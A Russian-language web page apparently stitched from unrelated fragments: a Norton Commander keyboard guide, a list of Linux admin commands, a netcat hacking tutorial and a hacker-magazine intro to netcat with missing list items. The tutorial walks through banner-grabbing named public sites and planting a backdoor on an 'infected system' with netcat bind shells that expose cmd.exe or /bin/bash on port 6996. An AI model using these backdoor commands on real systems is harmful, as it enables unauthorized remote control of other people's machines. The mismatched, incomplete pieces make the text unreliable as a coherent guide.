Полезные Unix утилиты. Netcat. Основные команды Norton Commander Запуск "удаленной командной оболочки", позволяющей выполнять произвольные команды на удаленном узле в процессе работы с локальным узлом

Инструкция по работе в Norton Commander

Для запуска системы NC в командной строке DOS набрать команду NC либо щелкнуть левой кнопкой мышки по пиктограмме NC на рабочем столе компьютера. Для завершения работы с NC нажать клавишу [ F 10] . В появившемся диалоговом окне выбрать ответ “Да” в случае выхода из системы, “Нет” – в противном случае. Выбор варианта ответа выполняется клавишами управления курсором на функциональной клавиатуре и последующим нажатием клавиши [ Enter ] . В нижней части экрана содержится командная строка DOS, где можно вводить соответствующие команды, работая под управлением NC. Самая нижняя строка экрана содержит строку подсказки, где указывается назначение основных “горячих” клавиш, которые соответствуют командам NC (и DOS).

После запуска NC на экране появляются две панели – левая и правая. В верхней части каждой из панелей в маленьком прямоугольном окне указано полный путь к текущему файлу или каталогу. Та панель, в которой находится подсвеченный прямоугольник – курсор, называется активной. Для перехода с панели на панель используется клавиша . Если выделена верхняя строка на панели и изображением “…” это означает, что Вы находитесь в каталоге с именем, указанным в верхней части панели. Для работы с панелями используются следующие команды:

[ Ctrl ] + [ F 1] Убрать/ показать левую панель

[ Ctrl ] + [ F 2] Убрать/ показать правую панель

[ Ctrl ] + [ U ] Поменять панели местами

[ Ctrl ] + [ O ] Убрать/ показать обе панели

[ Ctrl ] + [ P ] Убрать/ показать не активную панель

Для смены логического имени диска на левой панели нажать [ Alt ] + [ F 1] , в появившемся диалоговом окне выбрать с помощью клавиш управления курсором нужное имя диска из предлагаемых имен, нажать клавишу [ Enter ] . Для правой панели действия аналогичны, но в начале следует нажать [ Alt ] + [ F 2] .

Для перехода в каталог выделить его на активной панели и нажать клавишу [ Enter ] . Для перехода в каталог более высокого уровня на активной панели выделить строку “…” и нажать клавишу [ Enter ] .

Для работы с каталогами используются следующие команды:

[ F 7] – создать каталог . В появившемся диалоговом окне задать новое имя каталога;

[ F 8] – удалить каталог . В появившемся диалоговом окне подтвердить удаление или отменить удаление нажатием клавиши Esc.

Для работы с файлами используются следующие команды:

[ Shift ] + [ F 4] – создать файл . В появившемся диалоговом окне задать новое имя файла (при этом не забывать указывать расширение). После того как имя файла задано, в рабочем пространстве экрана набрать содержимое файла. Завершить создание файла командой [ Ctrl ] + [ Z ]. Для сохранения файла нажать клавишу [ F 2] . Выйти из режима редактирования клавишей [ F 10 ] .

[ F 4] – редактирование ранее созданного документа . При этом в диалоговом окне необходимо задать имя редактируемого файла. При работе в режиме редактирования в пространстве экрана в нижней части появляется строка подсказки с назначением “горячих” клавиш в режиме редактирования.

[ Shift ] + [ F 2] – сохранить файл с новым именем.

[ F 3] – просмотреть содержимое файла . Для этого предварительно выделить файл на панели.

[ F 5] – копирование файла . Все операции с файлами и каталогами выполняются с использованием обеих панелей. Для копирования файла на неактивной панели установить каталог, куда будет помещен копируемый файл, перейти в данный каталог. На активной панели выделить копируемый файл и нажать клавишу [ F 5] . Для подтверждения копирования нажать клавишу [ Enter ] , для отмены – .

[ F 6] – перенос/переименование файла . Операция выполняется аналогично копированию. Для перемещения файла на неактивной панели установить каталог, куда будет помещен файл, перейти в данный каталог. На активной панели выделить перемещаемый файл и нажать клавишу [ F 6] . Для переименования файла в диалоговом окне задать новое имя файла, добавив его через значок ” \ ” в указании пути. При этом необходимо помнить, что перемещаемый файл с прежнего места удаляется.

[ F 9] – переход в меню NC .

Групповые операции над файлами

Операции копирования, перемещения, удаления можно выполнять над несколькими файлами одновременно. Для этого их необходимо пометить, выделив на панели и нажав клавишу [ Insert ] . При этом выделенные файлы подсвечиваются прямоугольниками контрастного цвета. Для снятия выделения указанные действия повторить. После процедуры выделения файлов требуемая операция (копирования, перемещения, удаления) выполняется над группой файлов как над одним. Второй способ выделения файла выполняется при нажатии большой серой клавиши ”+” на функциональной клавиатуре слева. После нажатия этой клавиши в диалоговом окне следует задать имя файла или указать имена файлов при использовании маски в имени: “ * ”, “ *.* ”, “ ? ”. Для снятия выделения файлов использовать клавишу ” - ” на функциональной клавиатуре слева.

Система Меню NC

Система меню предназначена для настройки оболочки и облегчения выполнения операций. Вызов строки меню осуществляется при нажатии клавиши [ F 9] . Система меню состоит из строки меню и выпадающих меню. Меню содержит следующие пункты: Правая Файлы Команды Настройки Левая . Команды Правая и Левая определяют выбор режима отображения файлов на панели. Все опции команд для левой и правой панели идентичны. Команда Файлы предназначена для выполнения операций над файлами и каталогами. Пункт меню Команды предназначен для выполнения дополнительных команд. Команда Настройки предназначена для настройки среды NC. Выбор соответствующей команды выполняется с помощью клавиш управления курсором и последующим нажатием клавиши [ Enter ].

Пункт меню Левая (Правая).

Выпадающее меню данной команды содержит опции выбора формата отображения файла на экране. В режиме Краткий на панели выводятся только имена файлов и каталогов. В режиме Полный выводятся имя файла или каталога, для файла указывается его размер, для каталога – строка “подкаталог“, дата и время создания файла и каталога. В режиме Дерево можно отобразить дерево каталогов текущего диска и с помощью курсора быстро отыскать требуемый файл, перемещаясь по дереву. Следующая группа опций данного пункта меню определяет порядок отображения файлов на панели. При этом файлы могут располагаться в произвольном порядке – режим Без сортировки , а могут быть упорядочены в определенном порядке: Имя – по имени в алфавитном порядке, Расширение – по расширению в алфавитном порядке, Время – по дате создания, причем файлы с последними датами создания располагаются в начале списка, Размер – по размеру файла в порядке убывания. Выбор строки соответствующего режима осуществляется курсором и установки флажка с помощью клавиши “пробел”.

Пункт меню Файлы .

Выпадающее меню данной команды содержит описание назначения горячих клавиш [ F 1] - [ F 8] , т.е. действия горячих клавиш продублированы командами меню. Следующая опция – Установка атрибутов. Атрибуты устанавливаются только для файлов. Порядок установки атрибутов таков: на панели курсором выбирается файл. После этого нажав клавишу [ F 9] перейти в меню NC и выбрать пункт Файлы Установка атрибутов . После нажатия клавиши [ Enter ] в диалоговом окне появляется список возможных атрибутов: Только для чтения, Архивные, Скрытые, Системные . Выбор строки атрибута файла выполняется курсором и установки флажка с помощью клавиши “пробел”. При этом файл с атрибутами Только для чтения невозможно модифицировать, он доступен только для просмотра. Файл с атрибутами Скрытый на панели помечается маленьким подсвеченным прямоугольничком (если в настройках экрана не установлена опция Показать скрытые файлы имя файла вообще на панели не отображается). Следующая группа команд позволяет выделять файлы (аналог большой серой клавиши ”+” ), снимать выделение (аналог клавиши ” - ” на функциональной клавиатуре), инвертировать выделение (аналог клавиши ” * ” на функциональной клавиатуре).

Пункт меню Команды .

Выпадающее меню данной команды позволяет создать меню пользователя, отредактировать данное меню, просмотреть историю команд, вводимых в командной строке DOS, и содержит другие дополнительные возможности оболочки NC.

Пункт меню Настройки.

Выпадающее меню данной команды позволяет настроить интерфейсную среду удобным для пользователя образом. Содержит опцию Настройки Редактор и другие. При выборе строки меню Настройки раскрывается набор диалоговых окон, позволяющих выбрать цветовой набор экрана, задать количество строк на экране и т.д. Диалоговое окно Настройки панели позволяет Показать скрытые файлы , если установлен соответствующий флажок (или не показывать). Установка флажков соответствующих опций выполняется также курсором и клавишей “пробел”.

Задание к лабораторной работе

В этой заметке будут фиксироваться полезные команды для Linux-based systems, с которыми нам приходилось иметь дело.

Удаление старых файлов в Linux

# find /var/log -mtime +60 -type f -exec rm -rf {} \;

В данном примере будут рекурсивно удалены все файлы в каталоге /var/log, чья дата изменения старше 60-ти дней.

Как сделать “telnet” с помощью утилиты netcat (nc)

# nc -v -w 5 10.200.7.2 -z 1414-1420

V: Дополнительная диагностика (verbose)

W 5: тайм-аут (в секундах)

10.200.7.2: host

Z 1414-1420: диапазон портов

# nc -v -w 5 10.200.7.2 -z 1414-1420 nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress Connection to 10.200.7.2 1417 port succeeded! nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

# nc -v -w 5 10.200.7.2 -z 1414-1420

nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress

Connection to 10.200.7.2 1417 port succeeded!

nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

Как определить версию Unix системы

Для начала понимаем что это вообще за класс ОС, путем вывода универсальной для всех Unix-систем команды:

# uname -a

которая нам выведет что-то подобное:

Linux hostname.com 2.6.18-194.17.4.el5PAE #1 SMP Mon Oct 25 16:35:27 EDT 2010 i686 i686 i386 GNU/Linux

FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE #0: Wed Dec 5 20:00:38 MSK 2007 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 или AIX svcas07 3 4 000145364C00

из чего нам либо станет понятно кто это. Для того чтобы уже конкретно определить версию linux:

# cat /proc/version

Linux version 2.6.18-194.17.4.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-48)) #1 SMP Mon Oct 25 16:35:27 EDT 2010

то есть теперь известно семейство linux и версия ядра.

У семейства Red Hat есть более подробная команда, для того чтобы узнать версию linux:

# cat /etc/redhat-release

CentOS release 5.6 (Final)

По хорошему это исчерпывающий ответ, но в Red Hat также имеется дополнительная утилита ставящаяся в полном комплекте, которая выведет более подробную информацию про версию linux:

# lsb_release -a

LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor ID: CentOS Description: CentOS release 5.5 (Final) Release: 5.5 Codename: Final

Еще вариант:

# cat ls /etc/*{-,_}{release,version} 2>/dev/null | head -n 1

Как посмотреть кто «держит» директорию

# fuser -uc dir_name

fuser - утилита, идентифицирующая процессы, которые используют указанные файлы или сокеты. -c Подобно параметру -m и применяется для совместимости с POSIX.

-m В качестве name указывается файл на смонтированной файловой системе или смонтированное специальное блочное устройство. Выводится список всех процессов, которые используют файлы на этой файловой системе. Если указанный файл является каталогом, тогда к его имени автоматически добавляется name/. и рассматривается любая файловая система, которая может быть смонтирована на этот каталог.

-u Добавляет к каждому PID имя владельца процесса.

Считаем, сколько места на диске занимает каталог

# du -sh /var

Выводим в Мб или Гб.

Просмотр файла с возможностью скроллинга вверх и вниз

# less file.txt

Получение любой даты из системы

# date -d “строка”

где строка может содержать значения: “1 day ago”, “1 week ago”, “1 year ago”.

Просмотр последних n строк из файла

# tail -n

Например просмотр последних 20 строк: tail -20 access_log

Слежение за файлом

# tail -f access_log

Команда tail с ключом f позволяет следить за файлом: новые строки (добавляемые в конец файла другим процессом) автоматически выводятся на экран в реальном времени. Это особенно удобно для слежения за журналами.

Вывести все java-процессы

# ps –ef| grep java

Удобно использовать для отображения всех процессов сервера приложений.

Работа с логом access.log HTTP-сервера

# head -10 access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq

Показывает первые 10 строк из журнала access.2014.08.14.log, сортируя и исключая дубликаты, в формате “ip_клиента/доменное_имя_клиента, URL, HTTP-код”.

# cat access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq > access_result.txt

Тоже самое но с выводом в файл C:\access_result.txt.

·nc -h

Как Вы можете видеть, основной синтаксис Netcat заключается в следующем.

Чтобы подключиться к другой машине:

·nc options host IP address port

чтобы прослушивать входящие соединения:

·nc -l -p port

Шаг 2: Используйте Netcat для подключения к удаленной системе

Давайте используем Netcat для подключения к удаленной системе. В нашем случае, постараемся подключиться к веб-серверу через порт 80. Набираем:

·nc 192.168.1.105 80


Шаг 3: Используйте Netcat, чтобы захватить баннер с отпечатками пальцев ОС

Как только мы получили связь TCP с веб мы можем использовать Netcat, чтобы захватить баннер веб сервера для идентификации, какое программное обеспечение работает на веб-сервере жертвы.

Помните, что, прежде чем атаковать любую систему, мы должны узнать как можно больше о жертве. Netcat может помочь нам с этой задачей, захватывая баннеры, которые веб-серверы обслуживают для новых подключений.

Теперь, когда у нас есть связь, мы можем захватить баннер с веб - сервера с помощью команды:

·HEAD / HTTP/1.0

Будьте внимательными и скопируйте в точности, как ввел автор, с косой чертой и пробелами.


Нажмите Enter несколько раз, и веб -сервер ответит своим баннером, сообщив нам, какое его программное обеспечение запущено. В нашем случае, мы можем видеть, что веб - сервер работает под управлением Microsoft IIS 6.0.

Мы можем использовать эту технику также на других общедоступных сайтах. Давайте попробуем на некоторых широко известных сайтах и посмотрим, какое программное обеспечение они используют на веб-сервере. Во-первых, давайте попробуем сайт wonderhowto.com. Когда мы пропингуем wonderhowto.com, то увидим, что IP-адрес 98.129.110.26. Таким образом, можно затем ввести:

·nc 98.129.110.26 80

После того, как будет связь, мы можем захватить баннер веба, снова набрав:

·HEAD / HTTP/1.0

А потом нажмите Enter два или три раза.


Как видим, wonderhowto.com работает на Microsoft-IIS/7.5.

Если мы попробуем то же самое с cnn.com, то получим результаты, приведенные ниже:


Интересно, cnn.com работает на nginx - веб сервере с открытым исходным кодом, который за очень короткий промежуток времени достиг в глобальном масштабе общего числа установок Microsoft IIS (Apache, как и раньше, используют более 60 % веб-серверов на планете).

Шаг 4: Используйте Netcat для прослушивания подключений

Теперь давайте используем netcat, чтобы создать слушателя на удаленной системе. Предположим, что у нас есть Windows Server, на котором мы установили netcat. Теперь мы можем ввести следующее, чтобы открыть netcat слушателя на порту 6996 (это может быть любой порт) в этой системе:

·nc - l -p 6996

Так был создан "слушатель", который может подключиться к нашему досугу. Обратите внимание, что на системах Windows, мы можем запустить эту же команду с верхним регистром L и это создаст постоянного слушателя, который откроется, даже если система будет перезагружена.

Шаг 5: Создайте Backdoor

Теперь давайте создадим бэкдор на зараженной системе, чтобы мы могли вернуться в любое время. Команда будет незначительно отличаться в зависимости от того, какую систему, Linux или Windows, атакуем.

Для Windows мы используем:

·nc -l -p 6996 -e cmd.еxe

Для Linux используем:

·nc -l -p 6996 -e /bin/bash

·nc 192.168.1.105 6996


Как Вы можете видеть, командную строку Windows провел по трубопроводу через наше подключение netcat непосредственно к нашей атакующей системе! Мы имеем этот ящик!

Здравствуй Уважаемый читатель Х!

Думаю, этот рисунок можно назвать мини-тестом "Хакер ли ты?". Попробуй сказать, что
означает этот забавный котенок. Ну а если затруднения все-таки возникают, знай, что перед тобой самый любимая вещь всех продвинутых людей, так или иначе
связанных с Сетью, и имя ей - Netcat.

Netcat - это утилита, которая позволяет читать и передавать данные через сетевые
соединения. Иными словами, Netcat позволяет тебе соединятся с чем угодно и делать что угодно. Netcat абсолютно самодостаточен, при грамотном использовании он может заменить любое программное средство, включая даже известный тебе
Apache. Итак, в самом простом варианте Netcat позволяет создавать TCP и UDP соединения с любого на любой порт, умеет "слушать" входящие соединения (причем можно приказать "котенку" ждать соединения только с указанных тобой адресов и даже портов!), может сканировать порты, разрешать DNS-запросы, посылать любые команды со стандартного ввода, выполнять заранее предопределенные действия, в ответ на соединение, которое слушает "котенок", делать Hex-дамп отправленных и полученных данных и много-много чего еще...

Хотя, думаю нужно было с самого начала сказать, что Netcat умеет все; и возможности его использования ограниченны лишь уровнем твоих знаний и твоей фантазией. Изначально, Netcat задумывался как Unix утилита, но как ты понимаешь не могло не найтись энтузиастов, которые бы не портировали "котенка" под Windows. Обе версии ты без труда найдешь в поисковиках по запросу "Netcat". Но преимущества, конечно, достаются Unix-оидам, которые при компиляции могут слегка подправить "котенка" и тем самым активировать отключенные по дефолту фишки "дополнительные возможности".

Если ты когда-либо пользовался "программно-реализованными атаками", а попросту говоря эксплоитами, то наверняка замечал, что более, чем в половине из них так или иначе используется Netcat. Это связано прежде всего с тем, что Netcat никогда и никоим образом не модифицирует входящие данные (равно как и исходящие), в отличие скажем от Telnet-клиента, который сначала интерпретирует входящие данные, а уж затем выдает их тебе. Именно поэтому Netcat превратился в мощный инструмент поиска и эксплуатации уязвимостей, благодаря которому Bugtraq пополнился сотнями новых постингов.

Но, если поиск уязвимостей тебе не по душе, можешь попробовать использовать Netcat в качестве web-браузера, или, скажем, почтового клиента; тем паче, что в Internet Explorer-е и Outlook-е нашли "свежие" дыры, старый добрый Уникод, хех... Причем, на этом поприще отличились наши русские парни (!Играет национальная гордость!). Если ты читаешь эту статью, используя Explorer, сходи, посмотри насколько твой "Осел"
дыряв .

Вот после такого и пересядешь на Netcat - не очень удобно, зато
безопасно... Ну и наконец, примеры "продвинутого" использования Netcat
(Unix):

  1. Netcat как ;
  2. Netcat как утилита " "; такие часто описываются в X, а ведь в действительности они просто отправляют запросы на хорошо известные тебе поисковики... Твой "котенок" тоже может делать эту полезную работу!;
  3. Netcat как ! Заставь провайдера отдохнуть!!!

Обрати внимание, все выполнено в виде shell-скриптов так что ты при необходимости сможешь подправить все, что угодно.
За сим хочу проститься. Читай мануалы, и удачи тебе в изучении в изучении культовой утилиты Netcat!

P.S./Личное/: Сайт http://georgy.h1.ru/ мною закрыт. Раз и навсегда. Спасибо всем, кто был моим гостем.